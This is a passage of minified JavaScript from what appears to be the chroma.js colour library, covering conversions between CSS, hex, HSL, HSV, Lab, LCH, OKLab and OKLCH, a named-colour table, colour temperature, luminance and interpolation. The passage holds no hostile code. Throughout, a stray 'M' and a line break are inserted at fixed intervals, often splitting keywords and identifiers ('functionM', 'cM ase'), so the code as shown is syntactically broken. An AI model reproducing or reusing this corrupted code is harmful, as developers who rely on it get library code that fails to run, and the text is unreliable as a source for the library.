 t[3]=1,t}if(e=r.match(Z)){for(var a=e.slice(1,5),f=0;f<4;f++)a[f]=+a[f];return a}if(e=r.match(H)){for(var o=e.slice(1,4),c=0;c<3;c++)o[c]=J(2.55*o[c]);return o[3]=1,o}if(e=r.match(z)){for(var u=e.slice(1,5),i=0;i<3;i++)u[i]=J(2.55*u[i]);return u[3]=+u[3],u}if(e=r.match(U)){var l=e.slice(1,4);l[1]*=.01,l[2]*=.01;var d=K(l);return d[3]=1,d}if(e=r.match(V)){var h=e.slice(1,4);h[1]*=.01,h[2]*=.01;var b=K(h);return b[3]=+e[4],b}};Q.test=function(r){return X.test(r)||Z.test(r)||H.test(r)||z.test(r)||U.test(r)||V.test(r)M
};var rr=m,er=v,tr=d,nr=l.type,ar=S,fr=Q;er.prototype.css=function(r){return ar(this._rgb,r)},rr.css=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(er,[null].concat(r,["css"])))},tr.format.css=fr,tr.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===nr(r)&&fr.test(r))return"css"}});var or=v,cr=m,ur=l.unpack;d.format.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e]M
;var t=ur(r,"rgba");return t[0]*=255,t[1]*=255,t[2]*=255,t},cr.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(or,[null].concat(r,["gl"])))},or.prototype.gl=function(){var r=this._rgb;return[r[0]/255,r[1]/255,r[2]/255,r[3]]};var ir=l.unpack,lr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=ir(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Math.min(a,f,o),u=Math.max(a,f,o),i=u-c,l=100*i/255,d=c/(255-i)*100;return 0===i?t=Number.NaN:(a===u&&(t=M
(f-o)/i),f===u&&(t=2+(o-a)/i),o===u&&(t=4+(a-f)/i),(t*=60)<0&&(t+=360)),[t,l,d]},dr=l.unpack,hr=Math.floor,br=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=dr(o,"hcg"))[0],h=o[1],b=o[2];b*=255;var s=255*h;if(0===h)u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var p=hr(d/=60),g=d-p,v=b*(1-h),y=v+s*(1-g),m=v+s*g,k=v+s;switch(p){case 0:u=(r=[k,m,v])[0],i=r[1],l=r[2];break;case 1:u=(e=[y,k,v])[0],i=e[1],l=e[2];break;case 2:u=(t=[v,k,m])[0],i=t[1],l=t[2];break;cM
ase 3:u=(n=[v,y,k])[0],i=n[1],l=n[2];break;case 4:u=(a=[m,v,k])[0],i=a[1],l=a[2];break;case 5:u=(f=[k,v,y])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},sr=l.unpack,pr=l.type,gr=m,vr=v,yr=d,mr=lr;vr.prototype.hcg=function(){return mr(this._rgb)},gr.hcg=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(vr,[null].concat(r,["hcg"])))},yr.format.hcg=br,yr.autodetect.push({p:1,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=sr(r,"M
hcg"),"array"===pr(r)&&3===r.length)return"hcg"}});var kr=l.unpack,wr=l.last,Mr=Math.round,_r=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=kr(r,"rgba"),n=t[0],a=t[1],f=t[2],o=t[3],c=wr(r)||"auto";void 0===o&&(o=1),"auto"===c&&(c=o<1?"rgba":"rgb");var u="000000"+((n=Mr(n))<<16|(a=Mr(a))<<8|(f=Mr(f))).toString(16);u=u.substr(u.length-6);var i="0"+Mr(255*o).toString(16);switch(i=i.substr(i.length-2),c.toLowerCase()){case"rgba":return"#"+u+i;case"argb":return"#"+i+u;default:return"#"+u}},Nr=/M
^#?([A-Fa-f0-9]{6}|[A-Fa-f0-9]{3})$/,Fr=/^#?([A-Fa-f0-9]{8}|[A-Fa-f0-9]{4})$/,xr=function(r){if(r.match(Nr)){4!==r.length&&7!==r.length||(r=r.substr(1)),3===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]);var e=parseInt(r,16);return[e>>16,e>>8&255,255&e,1]}if(r.match(Fr)){5!==r.length&&9!==r.length||(r=r.substr(1)),4===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]+r[3]+r[3]);var t=parseInt(r,16);return[t>>24&255,t>>16&255,t>>8&255,Math.round((255&t)/255*100)/100]}throw new Error("unknown hex coM
lor: "+r)},Pr=m,Rr=v,Gr=l.type,jr=d,Er=_r;Rr.prototype.hex=function(r){return Er(this._rgb,r)},Pr.hex=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Rr,[null].concat(r,["hex"])))},jr.format.hex=xr,jr.autodetect.push({p:4,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===Gr(r)&&[3,4,5,6,7,8,9].indexOf(r.length)>=0)return"hex"}});var Or=l.unpack,qr=l.TWOPI,Br=Math.min,Ir=Math.sqrt,Ar=Math.acos,Dr=functionM
(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=Or(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Br(a/=255,f/=255,o/=255),u=(a+f+o)/3,i=u>0?1-c/u:0;return 0===i?t=NaN:(t=(a-f+(a-o))/2,t/=Ir((a-f)*(a-f)+(a-o)*(f-o)),t=Ar(t),o>f&&(t=qr-t),t/=qr),[360*t,i,u]},Cr=l.unpack,Yr=l.limit,Sr=l.TWOPI,Lr=l.PITHIRD,$r=Math.cos,Tr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Cr(r,"hsi"))[0],o=r[1],c=r[2];return isNaN(f)&&(f=0),isNaN(o)&&(o=0),f>360&&(f-=360),f<0&&(f+=360),(f/=360)<1/3?n=1-M
((a=(1-o)/3)+(t=(1+o*$r(Sr*f)/$r(Lr-Sr*f))/3)):f<2/3?a=1-((t=(1-o)/3)+(n=(1+o*$r(Sr*(f-=1/3))/$r(Lr-Sr*f))/3)):t=1-((n=(1-o)/3)+(a=(1+o*$r(Sr*(f-=2/3))/$r(Lr-Sr*f))/3)),[255*(t=Yr(c*t*3)),255*(n=Yr(c*n*3)),255*(a=Yr(c*a*3)),r.length>3?r[3]:1]},Kr=l.unpack,Wr=l.type,Xr=m,Zr=v,Hr=d,zr=Dr;Zr.prototype.hsi=function(){return zr(this._rgb)},Xr.hsi=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Zr,[null].concat(r,["hsi"])))},Hr.format.hsi=Tr,Hr.autodetect.push({pM
:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Kr(r,"hsi"),"array"===Wr(r)&&3===r.length)return"hsi"}});var Ur=l.unpack,Vr=l.type,Jr=m,Qr=v,re=d,ee=B;Qr.prototype.hsl=function(){return ee(this._rgb)},Jr.hsl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Qr,[null].concat(r,["hsl"])))},re.format.hsl=T,re.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ur(r,"hsl"),"array"===Vr(r)M
&&3===r.length)return"hsl"}});var te=l.unpack,ne=Math.min,ae=Math.max,fe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=te(r,"rgb"))[0],o=r[1],c=r[2],u=ne(f,o,c),i=ae(f,o,c),l=i-u;return a=i/255,0===i?(t=Number.NaN,n=0):(n=l/i,f===i&&(t=(o-c)/l),o===i&&(t=2+(c-f)/l),c===i&&(t=4+(f-o)/l),(t*=60)<0&&(t+=360)),[t,n,a]},oe=l.unpack,ce=Math.floor,ue=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=oe(o,"hsv"))[0],h=o[1],b=o[2];if(b*=255,0===h)M
u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var s=ce(d/=60),p=d-s,g=b*(1-h),v=b*(1-h*p),y=b*(1-h*(1-p));switch(s){case 0:u=(r=[b,y,g])[0],i=r[1],l=r[2];break;case 1:u=(e=[v,b,g])[0],i=e[1],l=e[2];break;case 2:u=(t=[g,b,y])[0],i=t[1],l=t[2];break;case 3:u=(n=[g,v,b])[0],i=n[1],l=n[2];break;case 4:u=(a=[y,g,b])[0],i=a[1],l=a[2];break;case 5:u=(f=[b,g,v])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},ie=l.unpack,le=l.type,de=m,he=v,be=d,se=fe;he.prototype.hsv=function(){return se(this._rgb)},de.hsv=M
function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(he,[null].concat(r,["hsv"])))},be.format.hsv=ue,be.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=ie(r,"hsv"),"array"===le(r)&&3===r.length)return"hsv"}});var pe={Kn:18,Xn:.95047,Yn:1,Zn:1.08883,t0:.137931034,t1:.206896552,t2:.12841855,t3:.008856452},ge=pe,ve=l.unpack,ye=Math.pow,me=function(r){return(r/=255)<=.04045?r/12.92:ye((r+.055)/1.055,2.4)},ke=function(M
r){return r>ge.t3?ye(r,1/3):r/ge.t2+ge.t0},we=function(r,e,t){return r=me(r),e=me(e),t=me(t),[ke((.4124564*r+.3575761*e+.1804375*t)/ge.Xn),ke((.2126729*r+.7151522*e+.072175*t)/ge.Yn),ke((.0193339*r+.119192*e+.9503041*t)/ge.Zn)]},Me=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=ve(r,"rgb"),n=t[0],a=t[1],f=t[2],o=we(n,a,f),c=o[0],u=o[1],i=116*u-16;return[i<0?0:i,500*(c-u),200*(u-o[2])]},_e=pe,Ne=l.unpack,Fe=Math.pow,xe=function(r){return 255*(r<=.00304?12.92*r:1.055*Fe(r,1/2.4)-.055)},Pe=funM
ction(r){return r>_e.t1?r*r*r:_e.t2*(r-_e.t0)},Re=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Ne(r,"lab"))[0],o=r[1],c=r[2];return n=(f+16)/116,t=isNaN(o)?n:n+o/500,a=isNaN(c)?n:n-c/200,n=_e.Yn*Pe(n),t=_e.Xn*Pe(t),a=_e.Zn*Pe(a),[xe(3.2404542*t-1.5371385*n-.4985314*a),xe(-.969266*t+1.8760108*n+.041556*a),xe(.0556434*t-.2040259*n+1.0572252*a),r.length>3?r[3]:1]},Ge=l.unpack,je=l.type,Ee=m,Oe=v,qe=d,Be=Me;Oe.prototype.lab=function(){return Be(this._rgb)},Ee.lab=function(){for(var rM
=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Oe,[null].concat(r,["lab"])))},qe.format.lab=Re,qe.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ge(r,"lab"),"array"===je(r)&&3===r.length)return"lab"}});var Ie=l.unpack,Ae=l.RAD2DEG,De=Math.sqrt,Ce=Math.atan2,Ye=Math.round,Se=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Ie(r,"lab"),n=t[0],a=t[1],f=t[2],o=De(a*a+f*f),c=(Ce(f,a)*Ae+360)%360;return 0===YeM
(1e4*o)&&(c=Number.NaN),[n,o,c]},Le=l.unpack,$e=Me,Te=Se,Ke=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Le(r,"rgb"),n=t[0],a=t[1],f=t[2],o=$e(n,a,f),c=o[0],u=o[1],i=o[2];return Te(c,u,i)},We=l.unpack,Xe=l.DEG2RAD,Ze=Math.sin,He=Math.cos,ze=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=We(r,"lch"),n=t[0],a=t[1],f=t[2];return isNaN(f)&&(f=0),[n,He(f*=Xe)*a,Ze(f)*a]},Ue=l.unpack,Ve=ze,Je=Re,Qe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=M
(r=Ue(r,"lch"))[0],n=r[1],a=r[2],f=Ve(t,n,a),o=f[0],c=f[1],u=f[2],i=Je(o,c,u);return[i[0],i[1],i[2],r.length>3?r[3]:1]},rt=l.unpack,et=Qe,tt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=rt(r,"hcl").reverse();return et.apply(void 0,t)},nt=l.unpack,at=l.type,ft=m,ot=v,ct=d,ut=Ke;ot.prototype.lch=function(){return ut(this._rgb)},ot.prototype.hcl=function(){return ut(this._rgb).reverse()},ft.lch=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.biM
nd.apply(ot,[null].concat(r,["lch"])))},ft.hcl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(ot,[null].concat(r,["hcl"])))},ct.format.lch=Qe,ct.format.hcl=tt,["lch","hcl"].forEach(function(r){return ct.autodetect.push({p:2,test:function(){for(var e=[],t=arguments.length;t--;)e[t]=arguments[t];if(e=nt(e,r),"array"===at(e)&&3===e.length)return r}})});var it=d,lt=l.type,dt={aliceblue:"#f0f8ff",antiquewhite:"#faebd7",aqua:"#00ffff",aquamarine:"#7fffd4",azure:M
"#f0ffff",beige:"#f5f5dc",bisque:"#ffe4c4",black:"#000000",blanchedalmond:"#ffebcd",blue:"#0000ff",blueviolet:"#8a2be2",brown:"#a52a2a",burlywood:"#deb887",cadetblue:"#5f9ea0",chartreuse:"#7fff00",chocolate:"#d2691e",coral:"#ff7f50",cornflower:"#6495ed",cornflowerblue:"#6495ed",cornsilk:"#fff8dc",crimson:"#dc143c",cyan:"#00ffff",darkblue:"#00008b",darkcyan:"#008b8b",darkgoldenrod:"#b8860b",darkgray:"#a9a9a9",darkgreen:"#006400",darkgrey:"#a9a9a9",darkkhaki:"#bdb76b",darkmagenta:"#8b008b",darkolivegreen:"#556b2f",daM
rkorange:"#ff8c00",darkorchid:"#9932cc",darkred:"#8b0000",darksalmon:"#e9967a",darkseagreen:"#8fbc8f",darkslateblue:"#483d8b",darkslategray:"#2f4f4f",darkslategrey:"#2f4f4f",darkturquoise:"#00ced1",darkviolet:"#9400d3",deeppink:"#ff1493",deepskyblue:"#00bfff",dimgray:"#696969",dimgrey:"#696969",dodgerblue:"#1e90ff",firebrick:"#b22222",floralwhite:"#fffaf0",forestgreen:"#228b22",fuchsia:"#ff00ff",gainsboro:"#dcdcdc",ghostwhite:"#f8f8ff",gold:"#ffd700",goldenrod:"#daa520",gray:"#808080",green:"#008000",greenyellow:"#M
adff2f",grey:"#808080",honeydew:"#f0fff0",hotpink:"#ff69b4",indianred:"#cd5c5c",indigo:"#4b0082",ivory:"#fffff0",khaki:"#f0e68c",laserlemon:"#ffff54",lavender:"#e6e6fa",lavenderblush:"#fff0f5",lawngreen:"#7cfc00",lemonchiffon:"#fffacd",lightblue:"#add8e6",lightcoral:"#f08080",lightcyan:"#e0ffff",lightgoldenrod:"#fafad2",lightgoldenrodyellow:"#fafad2",lightgray:"#d3d3d3",lightgreen:"#90ee90",lightgrey:"#d3d3d3",lightpink:"#ffb6c1",lightsalmon:"#ffa07a",lightseagreen:"#20b2aa",lightskyblue:"#87cefa",lightslategray:"#M
778899",lightslategrey:"#778899",lightsteelblue:"#b0c4de",lightyellow:"#ffffe0",lime:"#00ff00",limegreen:"#32cd32",linen:"#faf0e6",magenta:"#ff00ff",maroon:"#800000",maroon2:"#7f0000",maroon3:"#b03060",mediumaquamarine:"#66cdaa",mediumblue:"#0000cd",mediumorchid:"#ba55d3",mediumpurple:"#9370db",mediumseagreen:"#3cb371",mediumslateblue:"#7b68ee",mediumspringgreen:"#00fa9a",mediumturquoise:"#48d1cc",mediumvioletred:"#c71585",midnightblue:"#191970",mintcream:"#f5fffa",mistyrose:"#ffe4e1",moccasin:"#ffe4b5",navajowhiteM
:"#ffdead",navy:"#000080",oldlace:"#fdf5e6",olive:"#808000",olivedrab:"#6b8e23",orange:"#ffa500",orangered:"#ff4500",orchid:"#da70d6",palegoldenrod:"#eee8aa",palegreen:"#98fb98",paleturquoise:"#afeeee",palevioletred:"#db7093",papayawhip:"#ffefd5",peachpuff:"#ffdab9",peru:"#cd853f",pink:"#ffc0cb",plum:"#dda0dd",powderblue:"#b0e0e6",purple:"#800080",purple2:"#7f007f",purple3:"#a020f0",rebeccapurple:"#663399",red:"#ff0000",rosybrown:"#bc8f8f",royalblue:"#4169e1",saddlebrown:"#8b4513",salmon:"#fa8072",sandybrown:"#f4a4M
60",seagreen:"#2e8b57",seashell:"#fff5ee",sienna:"#a0522d",silver:"#c0c0c0",skyblue:"#87ceeb",slateblue:"#6a5acd",slategray:"#708090",slategrey:"#708090",snow:"#fffafa",springgreen:"#00ff7f",steelblue:"#4682b4",tan:"#d2b48c",teal:"#008080",thistle:"#d8bfd8",tomato:"#ff6347",turquoise:"#40e0d0",violet:"#ee82ee",wheat:"#f5deb3",white:"#ffffff",whitesmoke:"#f5f5f5",yellow:"#ffff00",yellowgreen:"#9acd32"},ht=xr,bt=_r;v.prototype.name=function(){for(var r=bt(this._rgb,"rgb"),e=0,t=Object.keys(dt);e<t.length;e+=1){var n=M
t[e];if(dt[n]===r)return n.toLowerCase()}return r},it.format.named=function(r){if(r=r.toLowerCase(),dt[r])return ht(dt[r]);throw new Error("unknown color name: "+r)},it.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===lt(r)&&dt[r.toLowerCase()])return"named"}});var st=l.unpack,pt=l.type,gt=function(r){if("number"==pt(r)&&r>=0&&r<=16777215)return[r>>16,r>>8&255,255&r,1];throw new Error("unknown num color: "+r)},vt=m,yt=v,mt=d,kt=l.type,wt=fuM
nction(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=st(r,"rgb");return(t[0]<<16)+(t[1]<<8)+t[2]};yt.prototype.num=function(){return wt(this._rgb)},vt.num=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(yt,[null].concat(r,["num"])))},mt.format.num=gt,mt.autodetect.push({p:5,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(1===r.length&&"number"===kt(r[0])&&r[0]>=0&&r[0]<=16777215)return"num"}});var Mt=m,_t=v,Nt=d,FtM
=l.unpack,xt=l.type,Pt=Math.round;_t.prototype.rgb=function(r){return void 0===r&&(r=!0),!1===r?this._rgb.slice(0,3):this._rgb.slice(0,3).map(Pt)},_t.prototype.rgba=function(r){return void 0===r&&(r=!0),this._rgb.slice(0,4).map(function(e,t){return t<3?!1===r?e:Pt(e):e})},Mt.rgb=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(_t,[null].concat(r,["rgb"])))},Nt.format.rgb=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Ft(r,"rgba");retM
urn void 0===t[3]&&(t[3]=1),t},Nt.autodetect.push({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ft(r,"rgba"),"array"===xt(r)&&(3===r.length||4===r.length&&"number"==xt(r[3])&&r[3]>=0&&r[3]<=1))return"rgb"}});var Rt=Math.log,Gt=function(r){var e,t,n,a=r/100;return a<66?(e=255,t=a<6?0:-155.25485562709179-.44596950469579133*(t=a-2)+104.49216199393888*Rt(t),n=a<20?0:.8274096064007395*(n=a-10)-254.76935184120902+115.67994401066147*Rt(n)):(e=351.97690566805693+.114206453784165*(e=a-55)-M
40.25366309332127*Rt(e),t=325.4494125711974+.07943456536662342*(t=a-50)-28.0852963507957*Rt(t),n=255),[e,t,n,1]},jt=Gt,Et=l.unpack,Ot=Math.round,qt=m,Bt=v,It=d,At=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];for(var t,n=Et(r,"rgb"),a=n[0],f=n[2],o=1e3,c=4e4;c-o>.4;){var u=jt(t=.5*(c+o));u[2]/u[0]>=f/a?c=t:o=t}return Ot(t)};Bt.prototype.temp=Bt.prototype.kelvin=Bt.prototype.temperature=function(){return At(this._rgb)},qt.temp=qt.kelvin=qt.temperature=function(){for(var r=[],e=arguments.length;e-M
-;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Bt,[null].concat(r,["temp"])))},It.format.temp=It.format.kelvin=It.format.temperature=Gt;var Dt=l.unpack,Ct=Math.cbrt,Yt=Math.pow,St=Math.sign,Lt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Dt(r,"rgb"),n=t[0],a=t[1],f=t[2],o=[$t(n/255),$t(a/255),$t(f/255)],c=o[0],u=o[1],i=o[2],l=Ct(.4122214708*c+.5363325363*u+.0514459929*i),d=Ct(.2119034982*c+.6806995451*u+.1073969566*i),h=Ct(.0883024619*c+.2817188376*u+.6299787005*i);return[.M
2104542553*l+.793617785*d-.0040720468*h,1.9779984951*l-2.428592205*d+.4505937099*h,.0259040371*l+.7827717662*d-.808675766*h]};function $t(r){var e=Math.abs(r);return e<.04045?r/12.92:(St(r)||1)*Yt((e+.055)/1.055,2.4)}var Tt=l.unpack,Kt=Math.pow,Wt=Math.sign,Xt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=Tt(r,"lab"))[0],n=r[1],a=r[2],f=Kt(t+.3963377774*n+.2158037573*a,3),o=Kt(t-.1055613458*n-.0638541728*a,3),c=Kt(t-.0894841775*n-1.291485548*a,3);return[255*Zt(4.0767416621*f-3.307711591M
3*o+.2309699292*c),255*Zt(-1.2684380046*f+2.6097574011*o-.3413193965*c),255*Zt(-.0041960863*f-.7034186147*o+1.707614701*c),r.length>3?r[3]:1]};function Zt(r){var e=Math.abs(r);return e>.0031308?(Wt(r)||1)*(1.055*Kt(e,1/2.4)-.055):12.92*r}var Ht=l.unpack,zt=l.type,Ut=m,Vt=v,Jt=d,Qt=Lt;Vt.prototype.oklab=function(){return Qt(this._rgb)},Ut.oklab=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Vt,[null].concat(r,["oklab"])))},Jt.format.oklab=Xt,Jt.autodetect.pM
ush({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ht(r,"oklab"),"array"===zt(r)&&3===r.length)return"oklab"}});var rn=l.unpack,en=Lt,tn=Se,nn=l.unpack,an=ze,fn=Xt,on=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=nn(r,"lch"))[0],n=r[1],a=r[2],f=an(t,n,a),o=f[0],c=f[1],u=f[2],i=fn(o,c,u);return[i[0],i[1],i[2],r.length>3?r[3]:1]},cn=l.unpack,un=l.type,ln=m,dn=v,hn=d,bn=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=rn(r,"rgb"),n=tM
[0],a=t[1],f=t[2],o=en(n,a,f),c=o[0],u=o[1],i=o[2];return tn(c,u,i)};dn.prototype.oklch=function(){return bn(this._rgb)},ln.oklch=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(dn,[null].concat(r,["oklch"])))},hn.format.oklch=on,hn.autodetect.push({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=cn(r,"oklch"),"array"===un(r)&&3===r.length)return"oklch"}});var sn=v,pn=l.type;sn.prototype.alpha=function(r,e){return void 0===e&M
&(e=!1),void 0!==r&&"number"===pn(r)?e?(this._rgb[3]=r,this):new sn([this._rgb[0],this._rgb[1],this._rgb[2],r],"rgb"):this._rgb[3]},v.prototype.clipped=function(){return this._rgb._clipped||!1};var gn=v,vn=pe;gn.prototype.darken=function(r){void 0===r&&(r=1);var e=this.lab();return e[0]-=vn.Kn*r,new gn(e,"lab").alpha(this.alpha(),!0)},gn.prototype.brighten=function(r){return void 0===r&&(r=1),this.darken(-r)},gn.prototype.darker=gn.prototype.darken,gn.prototype.brighter=gn.prototype.brighten,v.prototype.get=functioM
n(r){var e=r.split("."),t=e[0],n=e[1],a=this[t]();if(n){var f=t.indexOf(n)-("ok"===t.substr(0,2)?2:0);if(f>-1)return a[f];throw new Error("unknown channel "+n+" in mode "+t)}return a};var yn=v,mn=l.type,kn=Math.pow;yn.prototype.luminance=function(r){if(void 0!==r&&"number"===mn(r)){if(0===r)return new yn([0,0,0,this._rgb[3]],"rgb");if(1===r)return new yn([255,255,255,this._rgb[3]],"rgb");var e=this.luminance(),t=20,n=function(e,a){var f=e.interpolate(a,.5,"rgb"),o=f.luminance();return Math.abs(r-o)<1e-7||!t--?f:o>rM
?n(e,f):n(f,a)},a=(e>r?n(new yn([0,0,0]),this):n(this,new yn([255,255,255]))).rgb();return new yn(a.concat([this._rgb[3]]))}return wn.apply(void 0,this._rgb.slice(0,3))};var wn=function(r,e,t){return.2126*(r=Mn(r))+.7152*(e=Mn(e))+.0722*(t=Mn(t))},Mn=function(r){return(r/=255)<=.03928?r/12.92:kn((r+.055)/1.055,2.4)},_n={},Nn=v,Fn=l.type,xn=_n,Pn=v,Rn=function(r,e,t){void 0===t&&(t=.5);for(var n=[],a=arguments.length-3;a-- >0;)n[a]=arguments[a+3];var f=n[0]||"lrgb";if(xn[f]||n.length||(f=Object.keys(xn)[0]),!xn[f])tM
hrow new Error("interpolation mode "+f+" is not defined");return"object"!==Fn(r)&&(r=new Nn(r)),"object"!==Fn(e)&&(e=new Nn(e)),xn[f](r,e,t).alpha(r.alpha()+t*(e.alpha()-r.alpha()))};Pn.prototype.mix=Pn.prototype.interpolate=function(r,e){void 0===e&&(e=.5);for(var t=[],n=arguments.length-2;n-- >0;)t[n]=arguments[n+2];return Rn.apply(void 0,[this,r,e].concat(t))};var Gn=v;Gn.prototype.premultiply=function(r){void 0===r&&(r=!1);var e=this._rgb,t=e[3];return r?(this._rgb=[e[0]*t,e[1]*t,e[2]*t,t],this):new Gn([e[0]*t,M
e[1]*t,e[2]*t,t],"rgb")};var jn=v,En=pe;jn.prototype.saturate=function(r){void 0===r&&(r=1);var e=this.lch();return e[1]+=En.Kn*r,e[1]<0&&(e[1]=0),new jn(e,"lch").alpha(this.alpha(),!0)},jn.prototype.desaturate=function(r){return void 0===r&&(r=1),this.saturate(-r)};var On=v,qn=l.type;On.prototype.set=function(r,e,t){void 0===t&&(t=!1);var n=r.split("."),a=n[0],f=n[1],o=this[a]();if(f){var c=a.indexOf(f)-("ok"===a.substr(0,2)?2:0);if(c>-1){if("string"==qn(e))switch(e.charAt(0)){case"+":case"-":o[c]+=+e;break;case"*M
":o[c]*=+e.substr(1);break;case"/":o[c]/=+e.substr(1);break;default:o[c]=+e}else{if("number"!==qn(e))throw new Error("unsupported value for Color.set");o[c]=e}var u=new On(o,a);return t?(this._rgb=u._rgb,this):u}throw new Error("unknown channel "+f+" in mode "+a)}return o};var Bn=v;_n.rgb=function(r,e,t){var n=r._rgb,a=e._rgb;return new Bn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"rgb")};var In=v,An=Math.sqrt,Dn=Math.pow;_n.lrgb=function(r,e,t){var n=r._rgb,a=n[0],f=n[1],o=n[2],c=e._rgb,u=c[0],i=c[1M
],l=c[2];return new In(An(Dn(a,2)*(1-t)+Dn(u,2)*t),An(Dn(f,2)*(1-t)+Dn(i,2)*t),An(Dn(o,2)*(1-t)+Dn(l,2)*t),"rgb")};var Cn=v;_n.lab=function(r,e,t){var n=r.lab(),a=e.lab();return new Cn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"lab")};var Yn=v,Sn=function(r,e,t,n){var a,f,o,c,u,i,l,d,h,b,s,p,g;return"hsl"===n?(o=r.hsl(),c=e.hsl()):"hsv"===n?(o=r.hsv(),c=e.hsv()):"hcg"===n?(o=r.hcg(),c=e.hcg()):"hsi"===n?(o=r.hsi(),c=e.hsi()):"lch"===n||"hcl"===n?(n="hcl",o=r.hcl(),c=e.hcl()):"oklch"===n&&(o=r.oklch()M
.reverse(),c=e.oklch().reverse()),"h"!==n.substr(0,1)&&"oklch"!==n||(u=(a=o)[0],l=a[1],h=a[2],i=(f=c)[0],d=f[1],b=f[2]),isNaN(u)||isNaN(i)?isNaN(u)?isNaN(i)?p=Number.NaN:(p=i,1!=h&&0!=h||"hsv"==n||(s=d)):(p=u,1!=b&&0!=b||"hsv"==n||(s=l)):p=u+t*(i>u&&i-u>180?i-(u+360):i<u&&u-i>180?i+360-u:i-u),void 0===s&&(s=l+t*(d-l)),g=h+t*(b-h),new Yn("oklch"===n?[g,s,p]:[p,s,g],n)},Ln=Sn,$n=function(r,e,t){return Ln(r,e,t,"lch")};_n.lch=$n,_n.hcl=$n;var Tn=v;_n.num=function(r,e,t){var n=r.num(),a=e.num();return new Tn(n+t*(a-n),M
